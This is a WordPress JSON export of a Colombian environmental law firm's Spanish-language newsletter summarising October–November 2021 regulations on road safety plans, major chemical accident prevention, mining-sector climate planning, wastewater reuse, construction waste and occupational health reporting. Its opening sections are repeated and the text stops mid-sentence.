{"id":1530,"date":"2021-10-01T21:08:42","date_gmt":"2021-10-01T21:08:42","guid":{"rendered":"https:\/\/alvarezabogadosambiental.com\/?p=1530"},"modified":"2026-02-11T18:45:58","modified_gmt":"2026-02-11T18:45:58","slug":"boletin-informativo-no-4-de-2021","status":"publish","type":"post","link":"https:\/\/alvarezabogadosambiental.com\/es\/2021\/10\/01\/boletin-informativo-no-4-de-2021\/","title":{"rendered":"BOLET\u00cdN INFORMATIVO No. 4 de 2021"},"content":{"rendered":"\n<h2 class=\"wp-block-heading has-palette-color-2-color has-text-color has-link-color wp-elements-274aac94c5588ce5871f01c47a9369b3\">BOLET\u00cdN INFORMATIVO No. 4 de 2021<\/h2>\n\n\n<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Plan Estrate\u0301gico de Seguridad Vial &#8211; PESV<br \/>Decreto No. 1252 de 12-10-2021 &#8211; Ministerio de Transporte<\/p>\n<div class=\"page\" title=\"Page 1\">\u00a0<\/div>\n<\/div>\n<p>El Ministerio de Transporte y la Agencia Nacional de Seguridad Vial (ANSV) reglamentan<br \/>el Art\u00edculo 110 del Decreto Ley-2106 de 2019, con relaci\u00f3n a los Planes Estrat\u00e9gicos de Seguridad Vial (PESV) e incentivan la gesti\u00f3n del riesgo en seguridad vial y fortalecen la<br \/>responsabilidad social empresarial en esta materia, entendiendo el PESV como una herramienta de gesti\u00f3n encaminada a generar h\u00e1bitos, comportamientos y conductas seguras en las v\u00edas para prevenir riesgos, reducir la accidentalidad vial y disminuir sus efectos<br \/>nocivos.<\/p>\n<div class=\"page\" title=\"Page 1\">\n<div class=\"section\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Las entidades, organizaciones o empresas del pai\u0301s debera\u0301n disen\u0303ar e implementar sus planes estrate\u0301gicos, de conformidad con la metodologi\u0301a expedida por parte del Ministerio de Transporte. Mientras esta se desarrolla, debera\u0301n implementar sus PESV conforme a la Resolucio\u0301n 1565 de 2014. Las nuevas empresas que se creen despue\u0301s de ser expedida dicha metodologi\u0301a tendra\u0301n un (1) an\u0303o a partir de entonces para disen\u0303ar y poner en marcha el PESV y, las que este\u0301n funcionando, tendra\u0301n el mismo plazo para actualizarlo.<\/p>\n<p>Corresponde a las entidades, organizaciones o empresas del sector p\u00fablico o privado, que cuenten con una flota de veh\u00edculos superior a diez (10) unidades, o que contraten o<br \/>administren personal de conductores, dise\u00f1ar e implementar el Plan Estrat\u00e9gico de Seguridad Vial y articularlo a la vez con su Sistema de Gesti\u00f3n de Seguridad y Salud en el Trabajo \u2013<br \/>SGSST. En ning\u00fan caso se requerir\u00e1 aval del PESV para su implementaci\u00f3n.<\/p>\n<p>As\u00ed mismo, contempla la realizaci\u00f3n de capacitaciones en seguridad vial a los trabajadores de la entidad, organizaci\u00f3n o empresa independientemente del cargo o rol que desempe\u00f1e. Tambi\u00e9n se establece que deber\u00e1 haber compromisos claros del nivel directivo de la entidad<br \/>organizaci\u00f3n o empresa orientadas al cumplimiento de las acciones y estrategias en seguridad vial.<\/p>\n<p>Otras de las actividades que deber\u00e1n cumplir las empresas est\u00e1n relacionadas con labores de inspecci\u00f3n y mantenimiento peri\u00f3dico a los veh\u00edculos de la entidad organizaci\u00f3n o empresa, incluidos los veh\u00edculos propios de los trabajadores puestos al servicio de la organizaci\u00f3n para el cumplimiento misional de su objeto o funci\u00f3n.<\/p>\n<p>Programa de Prevenci\u00f3n de Accidentes Mayores &#8211; PPAM<br \/>Decreto No. 1347 de 26-10-2021 &#8211; Ministerio del Trabajo<\/p>\n<p>Adicionando el Decreto 1072 de 2015 (Decreto \u00danico Reglamentario del Sector Trabajo), la norma adopta el Programa de Prevenci\u00f3n de Accidentes Mayores \u2013 PPAM, con el fin de incrementar los niveles de seguridad de las instalaciones clasificadas, con el fin de proteger los trabajadores, la poblaci\u00f3n, el ambiente y la infraestructura, mediante la gesti\u00f3n del riesgo.<\/p>\n<p>Aplica en todo el territorio nacional a las personas naturales o jur\u00eddicas responsables de<br \/>instalaciones clasificadas, existentes y nuevas, definidas como aquellas con presencia de sustancias qu\u00edmicas en cantidades que igualen o superen al menos uno de los umbrales definidos en el Anexo 3 del cap\u00edtulo denominado &#8220;Listado de Sustancias Qu\u00edmicas Asociadas<br \/>a Accidentes Mayores&#8221; o que, al aplicar la regla de la suma definida en dicho listado, se obtenga un valor igual o mayor a uno (1).<\/p>\n<p>El responsable de la instalaci\u00f3n deber\u00e1 identificar las sustancias qu\u00edmicas presentes en la instalaci\u00f3n usando primero el listado de sustancias qu\u00edmicas espec\u00edficas identificadas con su<br \/>nombre y n\u00famero CAS, como se establece en la parte 2 del Anexo 3. En caso de no encontrarse la sustancia qu\u00edmica en dicho listado, el responsable de la instalaci\u00f3n deber\u00e1 buscar en el listado de peligros con base en su clasificaci\u00f3n de acuerdo con el Sistema Globalmente Armonizado \u2013 SGA.<\/p>\n<p>El Programa de Prevenci\u00f3n de Accidentes Mayores estar\u00e1 compuesto por los siguientes elementos: el listado de sustancias qu\u00edmicas asociadas a accidentes mayores y cantidades umbral, el registro de instalaciones clasificadas, un sistema de gesti\u00f3n de la seguridad para la prevenci\u00f3n de accidentes mayores, el plan de emergencias y contingencias, el informe de<br \/>seguridad, el reporte de accidentes mayores, la investigaci\u00f3n de incidentes y accidentes mayores, la inspecci\u00f3n, vigilancia y control \u2013 IVC, la informaci\u00f3n disponible al p\u00fablico y la informaci\u00f3n con fines de gesti\u00f3n del riesgo y de ordenamiento territorial.<\/p>\n<p>Los responsables de instalaciones con presencia de sustancias qu\u00edmicas deben auto-clasificar las instalaciones a su cargo, como clasificadas o no clasificadas. Como instalaci\u00f3n<br \/>clasificada, el responsable deber\u00e1 registrarse ante el Ministerio del Trabajo, para su control y vigilancia, de acuerdo con los lineamientos que para tal fin expida ese ente.<\/p>\n<p>El responsable de la instalaci\u00f3n clasificada deber\u00e1 implementar adem\u00e1s un Sistema de Gesti\u00f3n de Seguridad para la Prevenci\u00f3n de Accidentes Mayores y articularlo con el Sistema de Gesti\u00f3n de la Seguridad y Salud en el Trabajo (SG-SST). Los lineamientos y gu\u00edas del mismo deber\u00e1n ser proferidos por el Ministerio del Trabajo a futuro y deber\u00e1 contar como m\u00ednimo con los siguientes elementos: la pol\u00edtica de prevenci\u00f3n de accidentes mayores,informaci\u00f3n de seguridad, identificaci\u00f3n de peligros, an\u00e1lisis y evaluaci\u00f3n de riesgos, participaci\u00f3n de los trabajadores, procedimientos de operaci\u00f3n, entrenamiento, evaluaci\u00f3n<br \/>de contratistas, revisi\u00f3n de seguridad pre-arranque, integridad mec\u00e1nica, permisos de trabajo, gesti\u00f3n del cambio, preparaci\u00f3n y respuesta ante emergencias, investigaci\u00f3n de incidentes y accidentes mayores, indicadores de desempe\u00f1o, auditor\u00edas de cumplimiento y revisi\u00f3n por la direcci\u00f3n.<\/p>\n<p>El responsable de la instalaci\u00f3n clasificada debe incluir en su PEC los escenarios de accidente mayor, con el fin de mitigar, reducir o controlar flujos de peligros sobre elementos vulnerables presentes en la instalaci\u00f3n y el entorno. Los Ministerios del Trabajo, de Ambiente y Desarrollo Sostenible y la Unidad Nacional para la Gesti\u00f3n del Riesgo de Desastres<br \/>UNGRD definir\u00e1n los est\u00e1ndares t\u00e9cnicos para la inclusi\u00f3n de los escenarios de accidentes mayores en los PEC, todo acorde con el Decreto 2157 de 2017 &#8211; Plan de Gesti\u00f3n del Riesgo<br \/>de Desastres.<\/p>\n<p>Los responsables de las instalaciones clasificadas deben entregar el Informe de Seguridad al Ministerio del Trabajo, el cual deber\u00e1 ser actualizado cada cinco (5) a\u00f1os, o, en los siguientes casos: (i) por la ocurrencia de un accidente mayor en la instalaci\u00f3n, (ii) si se cuenta con evidencia que comprometa la seguridad de la instalaci\u00f3n producto de los procesos de inspecci\u00f3n, vigilancia y control, (iii) si se cuenta con nuevos conocimientos tecnol\u00f3gicos relacionados con la prevenci\u00f3n de accidentes mayores, (iv) si se modifica el listado de Sustancias Qu\u00edmicas Peligrosas (SQP) asociadas a accidentes mayores, o (v) si se identifican nuevas instalaciones que deban clasificarse producto de nuevos proyectos, ampliaciones o debido a una condici\u00f3n inesperada en la operaci\u00f3n que suponga un riesgo mayor, no identificado previamente.<\/p>\n<p>Finalmente, las instalaciones clasificadas existentes contar\u00e1n con un plazo de dos (2) a\u00f1os a<br \/>partir de la expedici\u00f3n del reglamento y\/o lineamientos que mediante resoluci\u00f3n establezca el Ministerio del Trabajo.<\/p>\n<p>Plan Integral de Gesti\u00f3n del Cambio Clim\u00e1tico para el sector Minero Energ\u00e9tico<br \/>Resoluci\u00f3n No. 40350 de 29-10-2021 &#8211; Ministerio de Minas y Energ\u00eda<\/p>\n<p>Se modifica la Resoluci\u00f3n 40807 de 2018, adoptando el \u201cPlan Integral de Gesti\u00f3n de Cambio Clim\u00e1tico del Sector Minero Energ\u00e9tico 2050 (PIGCCme)\u201d, el cual hace parte integral de la resoluci\u00f3n y contiene la visi\u00f3n hacia la carbono-neutralidad y resiliencia clim\u00e1tica en el 2050.<\/p>\n<p>El Plan Integral de Gesti\u00f3n del Cambio Clim\u00e1tico del sector minero-energ\u00e9tico (PIGCCM- E) tiene como objetivo la reducci\u00f3n de la vulnerabilidad ante el cambio clim\u00e1tico y la promoci\u00f3n de un desarrollo bajo en carbono a nivel sectorial, fortaleciendo y protegiendo la sostenibilidad y competitividad de la industria.<\/p>\n<p>El PIGCCM-E, se constituye como un instrumento a trav\u00e9s del cual el Ministerio de Minas y Energ\u00eda (MME) identifica, eval\u00faa y orienta la incorporaci\u00f3n de estrategias de mitigaci\u00f3n de gases de efecto invernadero (GEI) y de adaptaci\u00f3n al cambio clim\u00e1tico en la planeaci\u00f3n sectorial, que contempla las condiciones clim\u00e1ticas cambiantes y la coordinaci\u00f3n con el territorio donde se realizar\u00e1n las acciones.<\/p>\n<p>Se pretende fortalecer integralmente las capacidades institucionales, t\u00e9cnicas, de gesti\u00f3n y conocimiento del sector para enfrentar tempranamente los compromisos y riesgos derivados del cambio clim\u00e1tico, convirti\u00e9ndolos en una oportunidad para la innovaci\u00f3n y la mejora de la competitividad sectorial.<\/p>\n<p>El PIGCCM-E se encuentra estructurado en tres componentes: i) Mitigaci\u00f3n, ii) Adaptaci\u00f3n y iii) Gobernanza; como un componente transversal. Cada uno de estos componentes tiene l\u00edneas estrat\u00e9gicas, las cuales a su vez est\u00e1n divididas en acciones y actividades.<\/p>\n<p>El componente de adaptaci\u00f3n busca atender dos principales impactos negativos generados por los riesgos clim\u00e1ticos sobre la industria: afectaci\u00f3n a la producci\u00f3n minero energ\u00e9tica y aumento de conflictividad por afectaci\u00f3n a los territorios. Estos impactos se gestionar\u00e1n a trav\u00e9s de las siguientes l\u00edneas estrat\u00e9gicas: i) Infraestructura resiliente; en la que se incorpora la gesti\u00f3n del riesgo de desastres, ii) Planeaci\u00f3n de corto y largo plazo; por la cual se pretende fortalecer la planeaci\u00f3n y funcionamiento del sector iii) Gesti\u00f3n del entorno; que busca atender los impactos indirectos que se generan por la afectaci\u00f3n sobre los territorios y iv) informaci\u00f3n para la adaptaci\u00f3n; mediante la cual se busca disminuir las incertidumbres inherente a los procesos de adaptaci\u00f3n.<\/p>\n<p>Por otro lado, el componente de mitigaci\u00f3n tiene como principal objetivo la reducci\u00f3n de emisiones de GEI, a partir de la necesidad primordial de generar una reconversi\u00f3n tecnol\u00f3gica de equipos, procesos m\u00e1s eficientes energ\u00e9ticamente, transformaci\u00f3n de las zonas no interconectadas, diversificaci\u00f3n de la matriz energ\u00e9tica, modelos de tarificaci\u00f3n horaria y gesti\u00f3n de las emisiones fugitivas del sector de hidrocarburos. Esto es abordado por las siguientes l\u00edneas estrat\u00e9gicas: i) Eficiencia energ\u00e9tica, ii) Generaci\u00f3n de energ\u00eda, iii) Gesti\u00f3n de la demanda y iv) Emisiones fugitivas, las cuales cuentan con diferentes acciones para poder generar un marco normativo, de gesti\u00f3n y de planeaci\u00f3n que permita el cumplimiento de estos objetivos y construcci\u00f3n de capacidades.<\/p>\n<p>Finalmente existen cinco l\u00edneas estrat\u00e9gicas transversales: i) Gesti\u00f3n financiera, ii) Monitoreo Reporte y Verificaci\u00f3n (MRV), iii) Gesti\u00f3n del conocimiento, iv) Operatividad y v) Cooperaci\u00f3n y desarrollo resiliente, las cuales buscan generar las condiciones para el desarrollo, implementaci\u00f3n y seguimiento de los objetivos de reducci\u00f3n de emisiones de GEI y aumento de resiliencia ante las amenazas generadas por el cambio clim\u00e1tico, todas \u00e9stas enmarcadas en el componente de Gobernanza.<\/p>\n<pre><strong>Se reglamenta el uso de las aguas residuales<\/strong><br \/><strong>Resoluci\u00f3n No. 1256 de 23-11-2021 - Ministerio de Ambiente y Desarrollo Sostenible<\/strong><\/pre>\n<p>Derogando la Resoluci\u00f3n 1207 de 2014, la norma tiene como objeto establecer disposiciones para el uso de aguas residuales, definidas como \u201clas aguas utilizadas o servidas, de origen<br \/>dom\u00e9stico o no dom\u00e9stico\u201d, regulando tanto la recirculaci\u00f3n, como el re\u00faso.<\/p>\n<p>En cuanto a la recirculaci\u00f3n, todo usuario del recurso h\u00eddrico podr\u00e1 hacerla, siempre que sea<br \/>viable t\u00e9cnica y econ\u00f3micamente, sin que se requiera autorizaci\u00f3n ambiental. La recirculaci\u00f3n se define como el uso de las aguas residuales en operaciones y procesos unitarios dentro de la misma actividad econ\u00f3mica que las genera y por parte del mismo Usuario Generador, sin que exista contacto con el suelo al momento de su uso, salvo cuando se trate de suelo de soporte de infraestructura.<\/p>\n<p>Para el seguimiento y control de la recirculaci\u00f3n del agua residual en suelos de soporte de infraestructura por parte de la Autoridad Ambiental, se deber\u00e1 mantener a su disposici\u00f3n la<br \/>siguiente informaci\u00f3n: i) Balance H\u00eddrico del sistema de recirculaci\u00f3n de la actividad econ\u00f3mica, ii) Identificaci\u00f3n de los riesgos potenciales a los recursos naturales renovables derivados del uso de las Aguas Residuales y, iii) Medidas preventivas que se deben aplicar<br \/>para evitar los riesgos potenciales identificados. En todo caso, el caso de la recirculaci\u00f3n del agua residual en suelos de soporte de infraestructura no deber\u00e1 generar escorrent\u00eda.<\/p>\n<p>En cuanto al re\u00faso, se requerir\u00e1 concesi\u00f3n de aguas para adquirir el derecho al uso de las aguas residuales como bien de uso p\u00fablico, salvo lo dispuesto en el art\u00edculo 148 del Decreto-<br \/>Ley 2811 de 1974 (Aguas Lluvias). El suministro de las cantidades (volumen o caudal) de agua requeridas para el re\u00faso est\u00e1 sujeto a la disponibilidad definida por parte del Usuario Generador. El Usuario Receptor de Aguas Residuales es responsable del cumplimiento de las disposiciones establecidas en la resoluci\u00f3n.<\/p>\n<p>Las aguas residuales se podr\u00e1n usar en los usos agr\u00edcola e industrial de que tratan los art\u00edculos 2.2.3.3.2.5 y 2.2.3.3.2.8 del Decreto 1076 de 2015, cumpliendo adem\u00e1s con los<br \/>criterios de calidad del agua residual para el uso agr\u00edcola establecido en el art\u00edculo 2.2.3.3.9.5 del mismo decreto, as\u00ed como, con los criterios establecidos en la tabla del art\u00edculo 6o de la nueva norma.<\/p>\n<p>Para efectos del otorgamiento de la concesi\u00f3n de uso de las aguas residuales, el Usuario Receptor deber\u00e1 presentar a la Autoridad Ambiental, la siguiente informaci\u00f3n: i) Balance H\u00eddrico, ii) Identificaci\u00f3n de los riesgos potenciales a los recursos naturales renovables, iii) Medidas preventivas para evitar los riesgos potenciales identificados, iv) Para el uso agr\u00edcola, evaluaci\u00f3n de vulnerabilidad intr\u00ednseca de los acu\u00edferos a la contaminaci\u00f3n, v) Para el uso agr\u00edcola, se deber\u00e1 demostrar mediante mediciones in situ, la velocidad de infiltraci\u00f3n en el suelo, y, vi) Para el uso agr\u00edcola e industrial, un plan de monitoreo y seguimiento de la calidad y cantidad del agua residual empleada en el re\u00faso. La Autoridad Ambiental definir\u00e1 la frecuencia del monitoreo de calidad en el acto administrativo mediante el cual se pronuncie.<br \/>Las solicitudes de concesiones de agua residual o sus modificaciones que se radiquen en legal y debida forma antes de la entrada en vigencia de la resoluci\u00f3n, continuar\u00e1n rigi\u00e9ndose por<br \/>las disposiciones vigentes al momento de su radicaci\u00f3n. No obstante, el solicitante podr\u00e1 acogerse al nuevo r\u00e9gimen jur\u00eddico, para lo cual deber\u00e1 informarle a la autoridad ambiental<br \/>en un t\u00e9rmino m\u00e1ximo de seis (6) meses, contados a partir de la publicaci\u00f3n del acto administrativo.<\/p>\n<p><strong>Modificada norma de Residuos de Construcci\u00f3n y Demolici\u00f3n \u2013 RCD<\/strong><br \/><strong>Resoluci\u00f3n No. 1257 de 23-11-2021 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/strong><\/p>\n<p>Se modifica la Resoluci\u00f3n 0472 de 2017 sobre la gesti\u00f3n integral de Residuos de<br \/>Construcci\u00f3n y Demolici\u00f3n \u2013 RCD.<\/p>\n<p>Tiene como base la estrategia nacional de econom\u00eda circular, promoviendo el aprovechamiento de subproductos y el cierre de ciclos de materiales, priorizando la revalorizaci\u00f3n de RCD como uno de los mecanismos para la generaci\u00f3n de sistemas productivos eficientes y sostenibles en materia ambiental, social y econ\u00f3mica.<\/p>\n<p>La norma contempla el aprovechamiento de RCD, que podr\u00e1 hacerse en plantas de aprovechamiento fijas o m\u00f3viles y\/o mediante un receptor, persona natural o jur\u00eddica, sin la obligatoriedad de que la gesti\u00f3n de RCD constituya su principal actividad econ\u00f3mica, el cual puede utilizar este tipo de residuos como materia prima dentro de su proceso productivo mediante lo que la resoluci\u00f3n denomina \u201csimbiosis industrial\u201d.<\/p>\n<p>El gran generador deber\u00e1 informar a la autoridad ambiental competente las cantidades de RCD aprovechable a entregar al receptor, al menos 30 d\u00edas antes de su gesti\u00f3n. La norma tambi\u00e9n contempla que en caso de que el aprovechamiento de los residuos est\u00e9 asociado a<br \/>actividades estructurales como uso de material para nivelaci\u00f3n de terrenos, reutilizaci\u00f3n para relleno de redes de servicios p\u00fablicos, reconformaci\u00f3n de taludes, entre otras, el generador deber\u00e1 presentar tambi\u00e9n una copia de la licencia o actuaci\u00f3n urban\u00edstica de su proyecto, obra<br \/>o actividad.<\/p>\n<p>El documento tambi\u00e9n presenta modificaciones respecto a la meta de aprovechamiento de RCD. Sin embargo, las metas de aprovechamiento en la nueva resoluci\u00f3n van acorde a la categor\u00eda del municipio donde se localice el proyecto, obra o actividad de acuerdo a la siguiente tabla:<\/p>\n<p>Se establecen nuevas obligaciones para grandes y peque\u00f1os generadores, para el receptor, los gestores de RCD, entes territoriales (Departamentos, Municipios, Distritos) y autoridades<br \/>ambientales competentes. Finalmente, se modifican los anexos con los formatos que deben ser diligenciados por los gestores, generadores, receptores y autoridades ambientales a trav\u00e9s del Sistema de Informaci\u00f3n Ambiental para Colombia, SIAC.<\/p>\n<p><strong>Se extiende la emergencia sanitaria hasta 2022<\/strong><br \/><strong>Resoluci\u00f3n No. 1913 de 25-11-2021 &#8211; Ministerio de Salud y Protecci\u00f3n Social<\/strong><\/p>\n<p>Originalmente declarada mediante la Resoluci\u00f3n No. 385 de 2020 en virtud de la pandemia<br \/>de Coronavirus COVID -19, una vez m\u00e1s el Gobierno Nacional a trav\u00e9s del Ministerio de Salud y Protecci\u00f3n Social prorroga la Emergencia Sanitaria por tres (3) meses m\u00e1s, esto es, hasta el 28 de febrero de 2022.<\/p>\n<p>Deber\u00e1 mantenerse el cumplimiento de las medidas sanitarias restrictivas establecidas en el art\u00edculo 2o de la Resoluci\u00f3n 385 de 2020, sucesivamente modificadas. La emergencia<br \/>sanitaria podr\u00e1 finalizar antes de la fecha aqu\u00ed se\u00f1alada, cuando desaparezcan las causas que le dieron origen.<\/p>\n<p><strong>Gesti\u00f3n Integral de Sustancias Qu\u00edmicas de Uso Industrial<\/strong><br \/><strong>Decreto No. 1630 de 30-11-2021 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/strong><\/p>\n<p>Adicionando Libro 2, Parte 2 del Decreto 1076 de 2015 con un nuevo T\u00edtulo denominado \u201cGesti\u00f3n Ambiental de Sustancias Qu\u00edmicas\u201d, se reglamenta la gesti\u00f3n integral de sustancias qu\u00edmicas de uso industrial que de acuerdo con el Sistema Globalmente Armonizado de Clasificaci\u00f3n y Etiquetado de Productos Qu\u00edmicos &#8211; SGA, sean identificadas o clasificadas con alguna clase de categor\u00eda o clase de peligro.<\/p>\n<p>La norma aplica en todo el territorio nacional a las personas naturales o jur\u00eddicas que gestionen Sustancias Qu\u00edmicas seg\u00fan la clasificaci\u00f3n del SGA en el marco de su producci\u00f3n, importaci\u00f3n, uso, comercializaci\u00f3n, distribuci\u00f3n o transporte.<br \/>El decreto ha dispuesto los siguientes cuatro (4) principales instrumentos para la Gesti\u00f3n Integral de Sustancias Qu\u00edmicas, a saber:<br \/>1. Inventario Nacional de Sustancias Qu\u00edmicas de Uso Industrial<br \/>2. Instrumentos de priorizaci\u00f3n de las sustancias qu\u00edmicas que hagan parte del inventario<br \/>nacional.<br \/>3. Evaluaci\u00f3n de riesgo.<br \/>4. Programas de reducci\u00f3n y manejo del riesgo para el ambiente o para la salud.<br \/>Establece obligaciones para los importadores o fabricantes, los comercializadores y distribuidores, los transportadores y los usuarios de las sustancias qu\u00edmicas de uso industrial, entre otras: (i) garantizar la gesti\u00f3n integral del riesgo en las etapas de fabricaci\u00f3n e importaci\u00f3n; (ii) identificar, clasificar, etiquetar y elaborar la Ficha de Datos de Seguridad (FDS) de las sustancias qu\u00edmicas de acuerdo con el SGA; (iii) proporcionar la informaci\u00f3n requerida en el Inventario Nacional y su Priorizaci\u00f3n a trav\u00e9s del aplicativo; (iv) tener disponible de manera permanente la informaci\u00f3n de las evaluaciones de riesgo y los programas de reducci\u00f3n y manejo del riesgo para la salud y el ambiente; (v) proporcionar la informaci\u00f3n que requieran las autoridades competentes respecto de los instrumentos para la gesti\u00f3n de las sustancias qu\u00edmicas de uso industrial y realizar las acciones que estas soliciten como resultado del proceso de inspecci\u00f3n, vigilancia y control; (vi) apoyar y participar en los procesos de investigaci\u00f3n sobre la gesti\u00f3n del riesgo asociado a las sustancias qu\u00edmicas de uso industrial; y, (vii) dar cumplimiento a la norma de transporte de mercanc\u00edas peligrosas por carretera.<br \/>Consagra el monitoreo ambiental de las sustancias qu\u00edmicas de uso industrial, determinando que el Ministerio de Ambiente y Desarrollo Sostenible, en el marco del Sistema de Informaci\u00f3n Ambiental para Colombia (SIAC), establecer\u00e1 un mecanismo de captura de informaci\u00f3n ambiental de las emisiones y transferencias de contaminantes que se generen a partir del uso de las sustancias objeto del decreto.<\/p>\n<p>As\u00ed mismo se consagra el monitoreo de los efectos en la salud por el uso de las sustancias qu\u00edmicas de uso industrial, creando el Sistema de Gesti\u00f3n Toxicol\u00f3gica, el cual determinar\u00e1 los componentes, procesos, procedimientos y responsables de proveer la informaci\u00f3n de la identificaci\u00f3n de peligros, la exposici\u00f3n y los efectos en la salud por las sustancias qu\u00edmicas de uso industrial, a cargo del Ministerio de Salud y Protecci\u00f3n Social, con el apoyo t\u00e9cnico del Ministerio de Trabajo, el cual debe definir los mecanismos de recopilaci\u00f3n, validaci\u00f3n y reporte al Sistema de Gesti\u00f3n Toxicol\u00f3gica, sobre los factores de riesgo y eventos por exposici\u00f3n ocupacional a sustancias qu\u00edmicas de uso industrial en el marco de sus competencias.<\/p>\n<p>Los datos que se utilicen en los instrumentos deben provenir de fuentes de informaci\u00f3n confiables que cumplan con alguno de los requisitos establecidos en los numerales 2 y 3 del art\u00edculo 5 del Decreto 1496 de 2018 (SGA), o sean recomendadas por los Ministerios de Salud y Protecci\u00f3n Social, del Trabajo y de Ambiente y Desarrollo Sostenible.<\/p>\n<p><strong>Autoevaluaci\u00f3n de los est\u00e1ndares m\u00ednimos del SG-SST<\/strong><br \/><strong>Circular No. 0072 de 30-11-2021 &#8211; Ministerio del Trabajo<\/strong><\/p>\n<p>Por medio de la cual el Ministerio del Trabajo da instrucciones para el reporte de autoevaluaciones y planes de mejoramiento del Sistema de Gesti\u00f3n de la Seguridad y Salud en el Trabajo \u2013 SG-SST, as\u00ed:<\/p>\n<p>1. Todos los a\u00f1os en el mes de diciembre, se debe realizar la autoevaluaci\u00f3n y como resultado un plan de mejora de los est\u00e1ndares m\u00ednimos del a\u00f1o en curso.<br \/>2. Todos los a\u00f1os en el mes de diciembre, se debe formular el plan anual del a\u00f1o siguiente.<br \/>3. Todas las empresas, antes del 31 de enero de cada a\u00f1o, deben registrar a trav\u00e9s del aplicativo del Fondo de Riesgos Laborales (www.fondoriesgoslaborales.gov.co), la<br \/>Autoevaluaci\u00f3n y el Plan de Mejora.<br \/>4. Todos los a\u00f1os se debe remitir a la Administradora de Riesgos Laborales \u2013 ARL, la<br \/>Autoevaluaci\u00f3n y el Plan de Mejora.<br \/>5. Todos los a\u00f1os en el mes de julio, se debe rendir informe del avance del plan de<br \/>mejora, teniendo en cuenta las recomendaciones de la ARL.<\/p>\n<p><strong>Bolet\u00edn Informativo No. 4 de 2021 (Octubre y Noviembre de 2021) Alvarez Abogados Ambientales S.A.S.<\/strong><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n\n<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Plan Estrate\u0301gico de Seguridad Vial &#8211; PESV<br \/>Decreto No. 1252 de 12-10-2021 &#8211; Ministerio de Transporte<\/p>\n<div class=\"page\" title=\"Page 1\">\u00a0<\/div>\n<\/div>\n<p>El Ministerio de Transporte y la Agencia Nacional de Seguridad Vial (ANSV) reglamentan<br \/>el Art\u00edculo 110 del Decreto Ley-2106 de 2019, con relaci\u00f3n a los Planes Estrat\u00e9gicos de Seguridad Vial (PESV) e incentivan la gesti\u00f3n del riesgo en seguridad vial y fortalecen la<br \/>responsabilidad social empresarial en esta materia, entendiendo el PESV como una herramienta de gesti\u00f3n encaminada a generar h\u00e1bitos, comportamientos y conductas seguras en las v\u00edas para prevenir riesgos, reducir la accidentalidad vial y disminuir sus efectos<br \/>nocivos.<\/p>\n<div class=\"page\" title=\"Page 1\">\n<div class=\"section\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Las entidades, organizaciones o empresas del pai\u0301s debera\u0301n disen\u0303ar e implementar sus planes estrate\u0301gicos, de conformidad con la metodologi\u0301a expedida por parte del Ministerio de Transporte. Mientras esta se desarrolla, debera\u0301n implementar sus PESV conforme a la Resolucio\u0301n 1565 de 2014. Las nuevas empresas que se creen despue\u0301s de ser expedida dicha metodologi\u0301a tendra\u0301n un (1) an\u0303o a partir de entonces para disen\u0303ar y poner en marcha el PESV y, las que este\u0301n funcionando, tendra\u0301n el mismo plazo para actualizarlo.<\/p>\n<p>Corresponde a las entidades, organizaciones o empresas del sector p\u00fablico o privado, que cuenten con una flota de veh\u00edculos superior a diez (10) unidades, o que contraten o<br \/>administren personal de conductores, dise\u00f1ar e implementar el Plan Estrat\u00e9gico de Seguridad Vial y articularlo a la vez con su Sistema de Gesti\u00f3n de Seguridad y Salud en el Trabajo \u2013<br \/>SGSST. En ning\u00fan caso se requerir\u00e1 aval del PESV para su implementaci\u00f3n.<\/p>\n<p>As\u00ed mismo, contempla la realizaci\u00f3n de capacitaciones en seguridad vial a los trabajadores de la entidad, organizaci\u00f3n o empresa independientemente del cargo o rol que desempe\u00f1e. Tambi\u00e9n se establece que deber\u00e1 haber compromisos claros del nivel directivo de la entidad<br \/>organizaci\u00f3n o empresa orientadas al cumplimiento de las acciones y estrategias en seguridad vial.<\/p>\n<p>Otras de las actividades que deber\u00e1n cumplir las empresas est\u00e1n relacionadas con labores de inspecci\u00f3n y mantenimiento peri\u00f3dico a los veh\u00edculos de la entidad organizaci\u00f3n o empresa, incluidos los veh\u00edculos propios de los trabajadores puestos al servicio de la organizaci\u00f3n para el cumplimiento misional de su objeto o funci\u00f3n.<\/p>\n<p>Programa de Prevenci\u00f3n de Accidentes Mayores &#8211; PPAM<br \/>Decreto No. 1347 de 26-10-2021 &#8211; Ministerio del Trabajo<\/p>\n<p>Adicionando el Decreto 1072 de 2015 (Decreto \u00danico Reglamentario del Sector Trabajo), la norma adopta el Programa de Prevenci\u00f3n de Accidentes Mayores \u2013 PPAM, con el fin de incrementar los niveles de seguridad de las instalaciones clasificadas, con el fin de proteger los trabajadores, la poblaci\u00f3n, el ambiente y la infraestructura, mediante la gesti\u00f3n del riesgo.<\/p>\n<p>Aplica en todo el territorio nacional a las personas naturales o jur\u00eddicas responsables de<br \/>instalaciones clasificadas, existentes y nuevas, definidas como aquellas con presencia de sustancias qu\u00edmicas en cantidades que igualen o superen al menos uno de los umbrales definidos en el Anexo 3 del cap\u00edtulo denominado &#8220;Listado de Sustancias Qu\u00edmicas Asociadas<br \/>a Accidentes Mayores&#8221; o que, al aplicar la regla de la suma definida en dicho listado, se obtenga un valor igual o mayor a uno (1).<\/p>\n<p>El responsable de la instalaci\u00f3n deber\u00e1 identificar las sustancias qu\u00edmicas presentes en la instalaci\u00f3n usando primero el listado de sustancias qu\u00edmicas espec\u00edficas identificadas con su<br \/>nombre y n\u00famero CAS, como se establece en la parte 2 del Anexo 3. En caso de no encontrarse la sustancia qu\u00edmica en dicho listado, el responsable de la instalaci\u00f3n deber\u00e1 buscar en el listado de peligros con base en su clasificaci\u00f3n de acuerdo con el Sistema Globalmente Armonizado \u2013 SGA.<\/p>\n<p>El Programa de Prevenci\u00f3n de Accidentes Mayores estar\u00e1 compuesto por 